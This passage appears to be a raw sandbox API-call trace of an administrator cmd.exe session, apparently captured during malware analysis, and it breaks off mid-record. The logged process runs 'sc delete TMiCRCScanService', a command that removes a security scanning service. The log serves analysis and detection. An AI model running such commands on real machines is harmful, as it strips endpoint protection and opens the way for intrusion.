0x3 [0073.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.618] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.618] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.618] GetFileType (hFile=0x120) returned 0x3 [0073.618] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMiCRCScanService\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMiCRCScanService\n", lpUsedDefaultChar=0x0) returned 29 [0073.619] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1c, lpOverlapped=0x0) returned 1 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa40 [0073.619] GetConsoleOutputCP () returned 0x1b5 [0073.619] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.619] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.619] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.619] GetProcessHeap () returned 0x4a0000 [0073.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.619] GetProcessHeap () returned 0x4a0000 [0073.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4bba10 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0073.620] SetErrorMode (uMode=0x0) returned 0x1 [0073.620] SetErrorMode (uMode=0x1) returned 0x0 [0073.620] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.620] SetErrorMode (uMode=0x1) returned 0x1 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0073.620] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.620] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.620] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.620] GetProcessHeap () returned 0x4a0000 [0073.620] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.620] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.620] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.621] GetLastError () returned 0x2 [0073.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.621] GetLastError () returned 0x2 [0073.621] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.621] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.621] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.621] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.621] GetLastError () returned 0x2 [0073.621] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.621] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.621] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.622] GetProcessHeap () returned 0x4a0000 [0073.622] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.622] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.622] GetProcessHeap () returned 0x4a0000 [0073.622] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb0) returned 0x4b9180 [0073.622] GetProcessHeap () returned 0x4a0000 [0073.622] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb0 [0073.622] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMiCRCScanService") returned 1 [0073.622] GetProcessHeap () returned 0x4a0000 [0073.622] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.622] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.622] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.622] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.622] GetProcessHeap () returned 0x4a0000 [0073.622] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.623] GetProcessHeap () returned 0x4a0000 [0073.623] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.623] GetProcessHeap () returned 0x4a0000 [0073.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.623] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMiCRCScanService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMiCRCScanService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TMiCRCScanService", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x894, dwThreadId=0x8c4)) returned 1 [0073.627] CloseHandle (hObject=0x54) returned 1 [0073.627] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.627] GetProcessHeap () returned 0x4a0000 [0073.627] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.627] GetEnvironmentStringsW () returned 0x4c1b10* [0073.627] GetProcessHeap () returned 0x4a0000 [0073.627] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0073.627] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.627] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.627] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.627] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.671] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.671] CloseHandle (hObject=0x50) returned 1 [0073.671] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.671] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.671] GetProcessHeap () returned 0x4a0000 [0073.671] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0073.671] GetEnvironmentStringsW () returned 0x4c1b10* [0073.671] GetProcessHeap () returned 0x4a0000 [0073.671] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0073.671] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.671] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.672] GetProcessHeap () returned 0x4a0000 [0073.672] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0073.672] GetEnvironmentStringsW () returned 0x4c1b10* [0073.672] GetProcessHeap () returned 0x4a0000 [0073.672] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0073.672] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.672] GetProcessHeap () returned 0x4a0000 [0073.672] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.672] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.672] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.672] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.672] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.673] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.673] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.673] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.673] GetConsoleOutputCP () returned 0x1b5 [0073.673] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.673] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.673] GetProcessHeap () returned 0x4a0000 [0073.673] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.673] GetProcessHeap () returned 0x4a0000 [0073.673] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.673] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.674] GetProcessHeap () returned 0x4a0000 [0073.674] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.674] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.674] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.674] GetFileType (hFile=0x120) returned 0x3 [0073.674] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.674] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.674] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.674] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.674] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.675] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.675] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.675] GetFileType (hFile=0x120) returned 0x3 [0073.675] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.675] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.675] GetFileType (hFile=0xb8) returned 0x3 [0073.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.676] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.677] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="VMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.677] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SiCRCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.677] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: 